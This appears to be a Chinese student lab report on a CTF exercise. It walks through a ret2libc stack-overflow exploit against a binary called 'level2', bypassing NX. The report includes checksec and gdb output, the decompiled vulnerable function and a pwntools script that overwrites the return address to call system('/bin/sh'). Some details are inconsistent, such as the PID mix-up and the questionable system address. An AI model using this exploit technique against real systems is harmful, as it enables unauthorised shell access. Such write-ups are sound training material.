
一、实验目的
掌握通过ret2libc绕过NX防护的方法。
二、实验过程
1、安全性检查
$ checksec level2
[*]'/home/zhazhah/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/py/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
我们发现level2的NX打开,因此在stack中构造和执行shellcode不可能。
2、查看栈权限
a. 运行程序
命令:$./level2
程序以进程的形式驻留在内存中。
b.查看level2进程的PID
命令:zhazhah@zhazhah-virtual-machine:~/桌面/pwn/py$ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
zhazhah 35437 0.0 0.0 2064 548 pts/19 S+ 23:00 0:00 ./level2
zhazhah 35439 0.0 0.3 44432 3316 pts/1 R+ 23:00 0:00 ps -aux
我们发现level2的进程PID为35439。
c.查看level2的栈权限
命令:zhazhah@zhazhah-virtual-machine:~/桌面/pwn/py$sudo cat /proc/35437/maps
[sudo] zhazhah 的密码:
fffdd000-ffffe000 rw-p 00000000 00:000 [stack]
我们发现stack的权限缺少执行权限x。
3、发现漏洞
通过IDA发现漏洞,
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
system("echo Input:");
return read(0, &buf, 0x100u);
}
4、找到system和/bin/sh的地址
我们发现有两种方式查找地址,第一种采用gdb查找地址,命令如下所示:
zhazhah@zhazhah-virtual-machine:~/桌面/pwn/py$ gdb level2 -q
Reading symbols from level2...(no debuggingsymbols found)...done.
(gdb) file level2
A program is being debugged already.
Are you sure you want to change the file?(y or n) y
Reading symbols from level2...(no debuggingsymbols found)...done.
(gdb) print system
$3 = {<text variable, no debug info>}0xf7e41940 <system>
(gdb) print __libc_start_main
$4 = {<text variable, no debug info>}0xf7e1f540 <__libc_start_main>
(gdb) find0xf7e1f540,+22000000,"/bin/sh"
0xf7f6002b
warning: Unable to access 16000 bytes oftarget memory at 0xf7fb9db3, halting search.
1 pattern found.
第二种方法查找地址
a.同过IDA查找
system extern 0804A038
b.通过shift+F12
.data:0804A024 00000008 C /bin/sh
我们发现,两种方法出现的地址是不同的,分析原因:我们查看/proc/sys/kernel/randomize_va_space为0,因此排除地址随机化的可能(机器重启过,动态调试过,第一种方法获得的地址不变)。我们从Internet上查询,system地址变化原因有以下几种说法:
a. 发现在Fedora 23 64位中是不变的,RHEL 5.5 32位 中是变的
b. 当前的系统开启了alsr内存地址随机化,所以每次的内存地址都是变化的,地址随机化关闭就不会出现system地址变化(在我们实验中已经得到验证),关了的gdb调试的时候地址就是不变的了,但是gdb得到的也并不是真正的内存地址而是gdb环境下调试的地址,如果你需要查看真正的地址的话,需要自己设置core,gdb 调试core的信息,这样得出的地址才是真正的地址。如何获得在前面的实验中已经阐述过。
5、书写exp
from pwn import *
#p = remote("pwn2.jarvisoj.com",9878)
p = process('./level2')
ret = 0x0
#systemaddr = 0xf7e41940
#binshaddr = 0xf7f6002b
systemaddr = 0x0804A038
binshaddr = 0x0804A024
payload = 'a'*140 + p32(systemaddr) +p32(ret) + p32(binshaddr)
p.send(payload)
p.interactive()
三、总结
通过实验,我们掌握了如何通过ret2libc绕过NX防护的方法,但是实验中出现了system地址变化,我们分析了原因。
留下的几个问题:
1)当system并不在内存中,如何获得system地址?
2)当“/bin/sh”在内存中没有找到该如何办?

